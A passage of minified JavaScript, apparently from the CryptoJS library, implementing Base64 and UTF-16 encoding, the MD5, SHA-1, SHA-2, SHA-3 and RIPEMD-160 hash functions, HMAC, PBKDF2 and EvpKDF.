= (n.Hasher = f.extend({ cfg: o.extend(), init: function (t) { this.cfg = this.cfg.extend(t), this.reset() }, reset: function () { f.reset.call(this), this._doReset() }, update: function (t) { return this._append(t), this._process(), this }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, blockSize: 16, _createHelper: function (t) { return function (r, e) { return new t.init(e).finalize(r) } }, _createHmacHelper: function (t) { return function (r, e) { return new u.HMAC.init(t, e).finalize(r) } } }), i.algo = {}); return i }(Math); return function () { function r(t, r, e) { for (var i = [], o = 0, s = 0; s < r; s++)if (s % 4) { var a = e[t.charCodeAt(s - 1)] << s % 4 * 2, c = e[t.charCodeAt(s)] >>> 6 - s % 4 * 2; i[o >>> 2] |= (a | c) << 24 - o % 4 * 8, o++ } return n.create(i, o) } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Base64 = { stringify: function (t) { var r = t.words, e = t.sigBytes, i = this._map; t.clamp(); for (var n = [], o = 0; o < e; o += 3)for (var s = r[o >>> 2] >>> 24 - o % 4 * 8 & 255, a = r[o + 1 >>> 2] >>> 24 - (o + 1) % 4 * 8 & 255, c = r[o + 2 >>> 2] >>> 24 - (o + 2) % 4 * 8 & 255, h = s << 16 | a << 8 | c, l = 0; l < 4 && o + .75 * l < e; l++)n.push(i.charAt(h >>> 6 * (3 - l) & 63)); var f = i.charAt(64); if (f) for (; n.length % 4;)n.push(f); return n.join("") }, parse: function (t) { var e = t.length, i = this._map, n = this._reverseMap; if (!n) { n = this._reverseMap = []; for (var o = 0; o < i.length; o++)n[i.charCodeAt(o)] = o } var s = i.charAt(64); if (s) { var a = t.indexOf(s); a !== -1 && (e = a) } return r(t, e, n) }, _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=" } }(), function (r) { function e(t, r, e, i, n, o, s) { var a = t + (r & e | ~r & i) + n + s; return (a << o | a >>> 32 - o) + r } function i(t, r, e, i, n, o, s) { var a = t + (r & i | e & ~i) + n + s; return (a << o | a >>> 32 - o) + r } function n(t, r, e, i, n, o, s) { var a = t + (r ^ e ^ i) + n + s; return (a << o | a >>> 32 - o) + r } function o(t, r, e, i, n, o, s) { var a = t + (e ^ (r | ~i)) + n + s; return (a << o | a >>> 32 - o) + r } var s = t, a = s.lib, c = a.WordArray, h = a.Hasher, l = s.algo, f = []; !function () { for (var t = 0; t < 64; t++)f[t] = 4294967296 * r.abs(r.sin(t + 1)) | 0 }(); var u = l.MD5 = h.extend({ _doReset: function () { this._hash = new c.init([1732584193, 4023233417, 2562383102, 271733878]) }, _doProcessBlock: function (t, r) { for (var s = 0; s < 16; s++) { var a = r + s, c = t[a]; t[a] = 16711935 & (c << 8 | c >>> 24) | 4278255360 & (c << 24 | c >>> 8) } var h = this._hash.words, l = t[r + 0], u = t[r + 1], d = t[r + 2], v = t[r + 3], p = t[r + 4], _ = t[r + 5], y = t[r + 6], g = t[r + 7], B = t[r + 8], w = t[r + 9], k = t[r + 10], S = t[r + 11], m = t[r + 12], x = t[r + 13], b = t[r + 14], H = t[r + 15], z = h[0], A = h[1], C = h[2], D = h[3]; z = e(z, A, C, D, l, 7, f[0]), D = e(D, z, A, C, u, 12, f[1]), C = e(C, D, z, A, d, 17, f[2]), A = e(A, C, D, z, v, 22, f[3]), z = e(z, A, C, D, p, 7, f[4]), D = e(D, z, A, C, _, 12, f[5]), C = e(C, D, z, A, y, 17, f[6]), A = e(A, C, D, z, g, 22, f[7]), z = e(z, A, C, D, B, 7, f[8]), D = e(D, z, A, C, w, 12, f[9]), C = e(C, D, z, A, k, 17, f[10]), A = e(A, C, D, z, S, 22, f[11]), z = e(z, A, C, D, m, 7, f[12]), D = e(D, z, A, C, x, 12, f[13]), C = e(C, D, z, A, b, 17, f[14]), A = e(A, C, D, z, H, 22, f[15]), z = i(z, A, C, D, u, 5, f[16]), D = i(D, z, A, C, y, 9, f[17]), C = i(C, D, z, A, S, 14, f[18]), A = i(A, C, D, z, l, 20, f[19]), z = i(z, A, C, D, _, 5, f[20]), D = i(D, z, A, C, k, 9, f[21]), C = i(C, D, z, A, H, 14, f[22]), A = i(A, C, D, z, p, 20, f[23]), z = i(z, A, C, D, w, 5, f[24]), D = i(D, z, A, C, b, 9, f[25]), C = i(C, D, z, A, v, 14, f[26]), A = i(A, C, D, z, B, 20, f[27]), z = i(z, A, C, D, x, 5, f[28]), D = i(D, z, A, C, d, 9, f[29]), C = i(C, D, z, A, g, 14, f[30]), A = i(A, C, D, z, m, 20, f[31]), z = n(z, A, C, D, _, 4, f[32]), D = n(D, z, A, C, B, 11, f[33]), C = n(C, D, z, A, S, 16, f[34]), A = n(A, C, D, z, b, 23, f[35]), z = n(z, A, C, D, u, 4, f[36]), D = n(D, z, A, C, p, 11, f[37]), C = n(C, D, z, A, g, 16, f[38]), A = n(A, C, D, z, k, 23, f[39]), z = n(z, A, C, D, x, 4, f[40]), D = n(D, z, A, C, l, 11, f[41]), C = n(C, D, z, A, v, 16, f[42]), A = n(A, C, D, z, y, 23, f[43]), z = n(z, A, C, D, w, 4, f[44]), D = n(D, z, A, C, m, 11, f[45]), C = n(C, D, z, A, H, 16, f[46]), A = n(A, C, D, z, d, 23, f[47]), z = o(z, A, C, D, l, 6, f[48]), D = o(D, z, A, C, g, 10, f[49]), C = o(C, D, z, A, b, 15, f[50]), A = o(A, C, D, z, _, 21, f[51]), z = o(z, A, C, D, m, 6, f[52]), D = o(D, z, A, C, v, 10, f[53]), C = o(C, D, z, A, k, 15, f[54]), A = o(A, C, D, z, u, 21, f[55]), z = o(z, A, C, D, B, 6, f[56]), D = o(D, z, A, C, H, 10, f[57]), C = o(C, D, z, A, y, 15, f[58]), A = o(A, C, D, z, x, 21, f[59]), z = o(z, A, C, D, p, 6, f[60]), D = o(D, z, A, C, S, 10, f[61]), C = o(C, D, z, A, d, 15, f[62]), A = o(A, C, D, z, w, 21, f[63]), h[0] = h[0] + z | 0, h[1] = h[1] + A | 0, h[2] = h[2] + C | 0, h[3] = h[3] + D | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; e[n >>> 5] |= 128 << 24 - n % 32; var o = r.floor(i / 4294967296), s = i; e[(n + 64 >>> 9 << 4) + 15] = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), e[(n + 64 >>> 9 << 4) + 14] = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8), t.sigBytes = 4 * (e.length + 1), this._process(); for (var a = this._hash, c = a.words, h = 0; h < 4; h++) { var l = c[h]; c[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } return a }, clone: function () { var t = h.clone.call(this); return t._hash = this._hash.clone(), t } }); s.MD5 = h._createHelper(u), s.HmacMD5 = h._createHmacHelper(u) }(Math), function () { var r = t, e = r.lib, i = e.WordArray, n = e.Hasher, o = r.algo, s = [], a = o.SHA1 = n.extend({ _doReset: function () { this._hash = new i.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], a = e[3], c = e[4], h = 0; h < 80; h++) { if (h < 16) s[h] = 0 | t[r + h]; else { var l = s[h - 3] ^ s[h - 8] ^ s[h - 14] ^ s[h - 16]; s[h] = l << 1 | l >>> 31 } var f = (i << 5 | i >>> 27) + c + s[h]; f += h < 20 ? (n & o | ~n & a) + 1518500249 : h < 40 ? (n ^ o ^ a) + 1859775393 : h < 60 ? (n & o | n & a | o & a) - 1894007588 : (n ^ o ^ a) - 899497514, c = a, a = o, o = n << 30 | n >>> 2, n = i, i = f } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + a | 0, e[4] = e[4] + c | 0 }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; return r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = Math.floor(e / 4294967296), r[(i + 64 >>> 9 << 4) + 15] = e, t.sigBytes = 4 * r.length, this._process(), this._hash }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t } }); r.SHA1 = n._createHelper(a), r.HmacSHA1 = n._createHmacHelper(a) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.algo, a = [], c = []; !function () { function t(t) { for (var e = r.sqrt(t), i = 2; i <= e; i++)if (!(t % i)) return !1; return !0 } function e(t) { return 4294967296 * (t - (0 | t)) | 0 } for (var i = 2, n = 0; n < 64;)t(i) && (n < 8 && (a[n] = e(r.pow(i, .5))), c[n] = e(r.pow(i, 1 / 3)), n++), i++ }(); var h = [], l = s.SHA256 = o.extend({ _doReset: function () { this._hash = new n.init(a.slice(0)) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], l = e[5], f = e[6], u = e[7], d = 0; d < 64; d++) { if (d < 16) h[d] = 0 | t[r + d]; else { var v = h[d - 15], p = (v << 25 | v >>> 7) ^ (v << 14 | v >>> 18) ^ v >>> 3, _ = h[d - 2], y = (_ << 15 | _ >>> 17) ^ (_ << 13 | _ >>> 19) ^ _ >>> 10; h[d] = p + h[d - 7] + y + h[d - 16] } var g = a & l ^ ~a & f, B = i & n ^ i & o ^ n & o, w = (i << 30 | i >>> 2) ^ (i << 19 | i >>> 13) ^ (i << 10 | i >>> 22), k = (a << 26 | a >>> 6) ^ (a << 21 | a >>> 11) ^ (a << 7 | a >>> 25), S = u + k + g + c[d] + h[d], m = w + B; u = f, f = l, l = a, a = s + S | 0, s = o, o = n, n = i, i = S + m | 0 } e[0] = e[0] + i | 0, e[1] = e[1] + n | 0, e[2] = e[2] + o | 0, e[3] = e[3] + s | 0, e[4] = e[4] + a | 0, e[5] = e[5] + l | 0, e[6] = e[6] + f | 0, e[7] = e[7] + u | 0 }, _doFinalize: function () { var t = this._data, e = t.words, i = 8 * this._nDataBytes, n = 8 * t.sigBytes; return e[n >>> 5] |= 128 << 24 - n % 32, e[(n + 64 >>> 9 << 4) + 14] = r.floor(i / 4294967296), e[(n + 64 >>> 9 << 4) + 15] = i, t.sigBytes = 4 * e.length, this._process(), this._hash }, clone: function () { var t = o.clone.call(this); return t._hash = this._hash.clone(), t } }); e.SHA256 = o._createHelper(l), e.HmacSHA256 = o._createHmacHelper(l) }(Math), function () { function r(t) { return t << 8 & 4278255360 | t >>> 8 & 16711935 } var e = t, i = e.lib, n = i.WordArray, o = e.enc; o.Utf16 = o.Utf16BE = { stringify: function (t) { for (var r = t.words, e = t.sigBytes, i = [], n = 0; n < e; n += 2) { var o = r[n >>> 2] >>> 16 - n % 4 * 8 & 65535; i.push(String.fromCharCode(o)) } return i.join("") }, parse: function (t) { for (var r = t.length, e = [], i = 0; i < r; i++)e[i >>> 1] |= t.charCodeAt(i) << 16 - i % 2 * 16; return n.create(e, 2 * r) } }; o.Utf16LE = { stringify: function (t) { for (var e = t.words, i = t.sigBytes, n = [], o = 0; o < i; o += 2) { var s = r(e[o >>> 2] >>> 16 - o % 4 * 8 & 65535); n.push(String.fromCharCode(s)) } return n.join("") }, parse: function (t) { for (var e = t.length, i = [], o = 0; o < e; o++)i[o >>> 1] |= r(t.charCodeAt(o) << 16 - o % 2 * 16); return n.create(i, 2 * e) } } }(), function () { if ("function" == typeof ArrayBuffer) { var r = t, e = r.lib, i = e.WordArray, n = i.init, o = i.init = function (t) { if (t instanceof ArrayBuffer && (t = new Uint8Array(t)), (t instanceof Int8Array || "undefined" != typeof Uint8ClampedArray && t instanceof Uint8ClampedArray || t instanceof Int16Array || t instanceof Uint16Array || t instanceof Int32Array || t instanceof Uint32Array || t instanceof Float32Array || t instanceof Float64Array) && (t = new Uint8Array(t.buffer, t.byteOffset, t.byteLength)), t instanceof Uint8Array) { for (var r = t.byteLength, e = [], i = 0; i < r; i++)e[i >>> 2] |= t[i] << 24 - i % 4 * 8; n.call(this, e, r) } else n.apply(this, arguments) }; o.prototype = i } }(), function (r) { function e(t, r, e) { return t ^ r ^ e } function i(t, r, e) { return t & r | ~t & e } function n(t, r, e) { return (t | ~r) ^ e } function o(t, r, e) { return t & e | r & ~e } function s(t, r, e) { return t ^ (r | ~e) } function a(t, r) { return t << r | t >>> 32 - r } var c = t, h = c.lib, l = h.WordArray, f = h.Hasher, u = c.algo, d = l.create([0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 7, 4, 13, 1, 10, 6, 15, 3, 12, 0, 9, 5, 2, 14, 11, 8, 3, 10, 14, 4, 9, 15, 8, 1, 2, 7, 0, 6, 13, 11, 5, 12, 1, 9, 11, 10, 0, 8, 12, 4, 13, 3, 7, 15, 14, 5, 6, 2, 4, 0, 5, 9, 7, 12, 2, 10, 14, 1, 3, 8, 11, 6, 15, 13]), v = l.create([5, 14, 7, 0, 9, 2, 11, 4, 13, 6, 15, 8, 1, 10, 3, 12, 6, 11, 3, 7, 0, 13, 5, 10, 14, 15, 8, 12, 4, 9, 1, 2, 15, 5, 1, 3, 7, 14, 6, 9, 11, 8, 12, 2, 10, 0, 4, 13, 8, 6, 4, 1, 3, 11, 15, 0, 5, 12, 2, 13, 9, 7, 10, 14, 12, 15, 10, 4, 1, 5, 8, 7, 6, 2, 13, 14, 0, 3, 9, 11]), p = l.create([11, 14, 15, 12, 5, 8, 7, 9, 11, 13, 14, 15, 6, 7, 9, 8, 7, 6, 8, 13, 11, 9, 7, 15, 7, 12, 15, 9, 11, 7, 13, 12, 11, 13, 6, 7, 14, 9, 13, 15, 14, 8, 13, 6, 5, 12, 7, 5, 11, 12, 14, 15, 14, 15, 9, 8, 9, 14, 5, 6, 8, 6, 5, 12, 9, 15, 5, 11, 6, 8, 13, 12, 5, 12, 13, 14, 11, 8, 5, 6]), _ = l.create([8, 9, 9, 11, 13, 15, 15, 5, 7, 7, 8, 11, 14, 14, 12, 6, 9, 13, 15, 7, 12, 8, 9, 11, 7, 7, 12, 7, 6, 15, 13, 11, 9, 7, 15, 11, 8, 6, 6, 14, 12, 13, 5, 14, 13, 13, 7, 5, 15, 5, 8, 11, 14, 14, 6, 14, 6, 9, 12, 9, 12, 5, 15, 8, 8, 5, 12, 9, 12, 5, 14, 6, 8, 13, 6, 5, 15, 13, 11, 11]), y = l.create([0, 1518500249, 1859775393, 2400959708, 2840853838]), g = l.create([1352829926, 1548603684, 1836072691, 2053994217, 0]), B = u.RIPEMD160 = f.extend({ _doReset: function () { this._hash = l.create([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) }, _doProcessBlock: function (t, r) { for (var c = 0; c < 16; c++) { var h = r + c, l = t[h]; t[h] = 16711935 & (l << 8 | l >>> 24) | 4278255360 & (l << 24 | l >>> 8) } var f, u, B, w, k, S, m, x, b, H, z = this._hash.words, A = y.words, C = g.words, D = d.words, R = v.words, E = p.words, M = _.words; S = f = z[0], m = u = z[1], x = B = z[2], b = w = z[3], H = k = z[4]; for (var F, c = 0; c < 80; c += 1)F = f + t[r + D[c]] | 0, F += c < 16 ? e(u, B, w) + A[0] : c < 32 ? i(u, B, w) + A[1] : c < 48 ? n(u, B, w) + A[2] : c < 64 ? o(u, B, w) + A[3] : s(u, B, w) + A[4], F |= 0, F = a(F, E[c]), F = F + k | 0, f = k, k = w, w = a(B, 10), B = u, u = F, F = S + t[r + R[c]] | 0, F += c < 16 ? s(m, x, b) + C[0] : c < 32 ? o(m, x, b) + C[1] : c < 48 ? n(m, x, b) + C[2] : c < 64 ? i(m, x, b) + C[3] : e(m, x, b) + C[4], F |= 0, F = a(F, M[c]), F = F + H | 0, S = H, H = b, b = a(x, 10), x = m, m = F; F = z[1] + B + b | 0, z[1] = z[2] + w + H | 0, z[2] = z[3] + k + S | 0, z[3] = z[4] + f + m | 0, z[4] = z[0] + u + x | 0, z[0] = F }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 64 >>> 9 << 4) + 14] = 16711935 & (e << 8 | e >>> 24) | 4278255360 & (e << 24 | e >>> 8), t.sigBytes = 4 * (r.length + 1), this._process(); for (var n = this._hash, o = n.words, s = 0; s < 5; s++) { var a = o[s]; o[s] = 16711935 & (a << 8 | a >>> 24) | 4278255360 & (a << 24 | a >>> 8) } return n }, clone: function () { var t = f.clone.call(this); return t._hash = this._hash.clone(), t } }); c.RIPEMD160 = f._createHelper(B), c.HmacRIPEMD160 = f._createHmacHelper(B) }(Math), function () { var r = t, e = r.lib, i = e.Base, n = r.enc, o = n.Utf8, s = r.algo; s.HMAC = i.extend({ init: function (t, r) { t = this._hasher = new t.init, "string" == typeof r && (r = o.parse(r)); var e = t.blockSize, i = 4 * e; r.sigBytes > i && (r = t.finalize(r)), r.clamp(); for (var n = this._oKey = r.clone(), s = this._iKey = r.clone(), a = n.words, c = s.words, h = 0; h < e; h++)a[h] ^= 1549556828, c[h] ^= 909522486; n.sigBytes = s.sigBytes = i, this.reset() }, reset: function () { var t = this._hasher; t.reset(), t.update(this._iKey) }, update: function (t) { return this._hasher.update(t), this }, finalize: function (t) { var r = this._hasher, e = r.finalize(t); r.reset(); var i = r.finalize(this._oKey.clone().concat(e)); return i } }) }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.SHA1, a = o.HMAC, c = o.PBKDF2 = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = a.create(e.hasher, t), o = n.create(), s = n.create([1]), c = o.words, h = s.words, l = e.keySize, f = e.iterations; c.length < l;) { var u = i.update(r).finalize(s); i.reset(); for (var d = u.words, v = d.length, p = u, _ = 1; _ < f; _++) { p = i.finalize(p), i.reset(); for (var y = p.words, g = 0; g < v; g++)d[g] ^= y[g] } o.concat(u), h[0]++ } return o.sigBytes = 4 * l, o } }); r.PBKDF2 = function (t, r, e) { return c.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.Base, n = e.WordArray, o = r.algo, s = o.MD5, a = o.EvpKDF = i.extend({ cfg: i.extend({ keySize: 4, hasher: s, iterations: 1 }), init: function (t) { this.cfg = this.cfg.extend(t) }, compute: function (t, r) { for (var e = this.cfg, i = e.hasher.create(), o = n.create(), s = o.words, a = e.keySize, c = e.iterations; s.length < a;) { h && i.update(h); var h = i.update(t).finalize(r); i.reset(); for (var l = 1; l < c; l++)h = i.finalize(h), i.reset(); o.concat(h) } return o.sigBytes = 4 * a, o } }); r.EvpKDF = function (t, r, e) { return a.create(e).compute(t, r) } }(), function () { var r = t, e = r.lib, i = e.WordArray, n = r.algo, o = n.SHA256, s = n.SHA224 = o.extend({ _doReset: function () { this._hash = new i.init([3238371032, 914150663, 812702999, 4144912697, 4290775857, 1750603025, 1694076839, 3204075428]) }, _doFinalize: function () { var t = o._doFinalize.call(this); return t.sigBytes -= 4, t } }); r.SHA224 = o._createHelper(s), r.HmacSHA224 = o._createHmacHelper(s) }(), function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = e.x64 = {}; s.Word = n.extend({ init: function (t, r) { this.high = t, this.low = r } }), s.WordArray = n.extend({ init: function (t, e) { t = this.words = t || [], e != r ? this.sigBytes = e : this.sigBytes = 8 * t.length }, toX32: function () { for (var t = this.words, r = t.length, e = [], i = 0; i < r; i++) { var n = t[i]; e.push(n.high), e.push(n.low) } return o.create(e, this.sigBytes) }, clone: function () { for (var t = n.clone.call(this), r = t.words = this.words.slice(0), e = r.length, i = 0; i < e; i++)r[i] = r[i].clone(); return t } }) }(), function (r) { var e = t, i = e.lib, n = i.WordArray, o = i.Hasher, s = e.x64, a = s.Word, c = e.algo, h = [], l = [], f = []; !function () { for (var t = 1, r = 0, e = 0; e < 24; e++) { h[t + 5 * r] = (e + 1) * (e + 2) / 2 % 64; var i = r % 5, n = (2 * t + 3 * r) % 5; t = i, r = n } for (var t = 0; t < 5; t++)for (var r = 0; r < 5; r++)l[t + 5 * r] = r + (2 * t + 3 * r) % 5 * 5; for (var o = 1, s = 0; s < 24; s++) { for (var c = 0, u = 0, d = 0; d < 7; d++) { if (1 & o) { var v = (1 << d) - 1; v < 32 ? u ^= 1 << v : c ^= 1 << v - 32 } 128 & o ? o = o << 1 ^ 113 : o <<= 1 } f[s] = a.create(c, u) } }(); var u = []; !function () { for (var t = 0; t < 25; t++)u[t] = a.create() }(); var d = c.SHA3 = o.extend({ cfg: o.cfg.extend({ outputLength: 512 }), _doReset: function () { for (var t = this._state = [], r = 0; r < 25; r++)t[r] = new a.init; this.blockSize = (1600 - 2 * this.cfg.outputLength) / 32 }, _doProcessBlock: function (t, r) { for (var e = this._state, i = this.blockSize / 2, n = 0; n < i; n++) { var o = t[r + 2 * n], s = t[r + 2 * n + 1]; o = 16711935 & (o << 8 | o >>> 24) | 4278255360 & (o << 24 | o >>> 8), s = 16711935 & (s << 8 | s >>> 24) | 4278255360 & (s << 24 | s >>> 8); var a = e[n]; a.high ^= s, a.low ^= o } for (var c = 0; c < 24; c++) { for (var d = 0; d < 5; d++) { for (var v = 0, p = 0, _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; v ^= a.high, p ^= a.low } var y = u[d]; y.high = v, y.low = p } for (var d = 0; d < 5; d++)for (var g = u[(d + 4) % 5], B = u[(d + 1) % 5], w = B.high, k = B.low, v = g.high ^ (w << 1 | k >>> 31), p = g.low ^ (k << 1 | w >>> 31), _ = 0; _ < 5; _++) { var a = e[d + 5 * _]; a.high ^= v, a.low ^= p } for (var S = 1; S < 25; S++) { var a = e[S], m = a.high, x = a.low, b = h[S]; if (b < 32) var v = m << b | x >>> 32 - b, p = x << b | m >>> 32 - b; else var v = x << b - 32 | m >>> 64 - b, p = m << b - 32 | x >>> 64 - b; var H = u[l[S]]; H.high = v, H.low = p } var z = u[0], A = e[0]; z.high = A.high, z.low = A.low; for (var d = 0; d < 5; d++)for (var _ = 0; _ < 5; _++) { var S = d + 5 * _, a = e[S], C = u[S], D = u[(d + 1) % 5 + 5 * _], R = u[(d + 2) % 5 + 5 * _]; a.high = C.high ^ ~D.high & R.high, a.low = C.low ^ ~D.low & R.low } var a = e[0], E = f[c]; a.high ^= E.high, a.low ^= E.low } }, _doFinalize: function () { var t = this._data, e = t.words, i = (8 * this._nDataBytes, 8 * t.sigBytes), o = 32 * this.blockSize; e[i >>> 5] |= 1 << 24 - i % 32, e[(r.ceil((i + 1) / o) * o >>> 5) - 1] |= 128, t.sigBytes = 4 * e.length, this._process(); for (var s = this._state, a = this.cfg.outputLength / 8, c = a / 8, h = [], l = 0; l < c; l++) { var f = s[l], u = f.high, d = f.low; u = 16711935 & (u << 8 | u >>> 24) | 4278255360 & (u << 24 | u >>> 8), d = 16711935 & (d << 8 | d >>> 24) | 4278255360 & (d << 24 | d >>> 8), h.push(d), h.push(u) } return new n.init(h, a) }, clone: function () { for (var t = o.clone.call(this), r = t._state = this._state.slice(0), e = 0; e < 25; e++)r[e] = r[e].clone(); return t } }); e.SHA3 = o._createHelper(d), e.HmacSHA3 = o._createHmacHelper(d) }(Math), function () { function r() { return s.create.apply(s, arguments) } var e = t, i = e.lib, n = i.Hasher, o = e.x64, s = o.Word, a = o.WordArray, c = e.algo, h = [r(1116352408, 3609767458), r(1899447441, 602891725), r(3049323471, 3964484399), r(3921009573, 2173295548), r(961987163, 4081628472), r(1508970993, 3053834265), r(2453635748, 2937671579), r(2870763221, 3664609560), r(3624381080, 2734883394), r(310598401, 1164996542), r(607225278, 1323610764), r(1426881987, 3590304994), r(1925078388, 4068182383), r(2162078206, 991336113), r(2614888103, 633803317), r(3248222580, 3479774868), r(3835390401, 2666613458), r(4022224774, 944711139), r(264347078, 2341262773), r(604807628, 2007800933), r(770255983, 1495990901), r(1249150122, 1856431235), r(1555081692, 3175218132), r(1996064986, 2198950837), r(2554220882, 3999719339), r(2821834349, 766784016), r(2952996808, 2566594879), r(3210313671, 3203337956), r(3336571891, 1034457026), r(3584528711, 2466948901), r(113926993, 3758326383), r(338241895, 168717936), r(666307205, 1188179964), r(773529912, 1546045734), r(1294757372, 1522805485), r(1396182291, 2643833823), r(1695183700, 2343527390), r(1986661051, 1014477480), r(2177026350, 1206759142), r(2456956037, 344077627), r(2730485921, 1290863460), r(2820302411, 3158454273), r(3259730800, 3505952657), r(3345764771, 106217008), r(3516065817, 3606008344), r(3600352804, 1432725776), r(4094571909, 1467031594), r(275423344, 851169720), r(430227734, 3100823752), r(506948616, 1363258195), r(659060556, 3750685593), r(883997877, 3785050280), r(958139571, 3318307427), r(1322822218, 3812723403), r(1537002063, 2003034995), r(1747873779, 3602036899), r(1955562222, 1575990012), r(2024104815, 1125592928), r(2227730452, 2716904306), r(2361852424, 442776044), r(2428436474, 593698344), r(2756734187, 3733110249), r(3204031479, 2999351573), r(3329325298, 3815920427), r(3391569614, 3928383900), r(3515267271, 566280711), r(3940187606, 3454069534), r(4118630271, 4000239992), r(116418474, 1914138554), r(174292421, 2731055270), r(289380356, 3203993006), r(460393269, 320620315), r(685471733, 587496836), r(852142971, 1086792851), r(1017036298, 365543100), r(1126000580, 2618297676), r(1288033470, 3409855158), r(1501505948, 4234509866), r(1607167915, 987167468), r(1816402316, 1246189591)], l = []; !function () { for (var t = 0; t < 80; t++)l[t] = r() }(); var f = c.SHA512 = n.extend({ _doReset: function () { this._hash = new a.init([new s.init(1779033703, 4089235720), new s.init(3144134277, 2227873595), new s.init(1013904242, 4271175723), new s.init(2773480762, 1595750129), new s.init(1359893119, 2917565137), new s.init(2600822924, 725511199), new s.init(528734635, 4215389547), new s.init(1541459225, 327033209)]) }, _doProcessBlock: function (t, r) { for (var e = this._hash.words, i = e[0], n = e[1], o = e[2], s = e[3], a = e[4], c = e[5], f = e[6], u = e[7], d = i.high, v = i.low, p = n.high, _ = n.low, y = o.high, g = o.low, B = s.high, w = s.low, k = a.high, S = a.low, m = c.high, x = c.low, b = f.high, H = f.low, z = u.high, A = u.low, C = d, D = v, R = p, E = _, M = y, F = g, P = B, W = w, O = k, U = S, I = m, K = x, X = b, L = H, j = z, N = A, T = 0; T < 80; T++) { var Z = l[T]; if (T < 16) var q = Z.high = 0 | t[r + 2 * T], G = Z.low = 0 | t[r + 2 * T + 1]; else { var J = l[T - 15], $ = J.high, Q = J.low, V = ($ >>> 1 | Q << 31) ^ ($ >>> 8 | Q << 24) ^ $ >>> 7, Y = (Q >>> 1 | $ << 31) ^ (Q >>> 8 | $ << 24) ^ (Q >>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 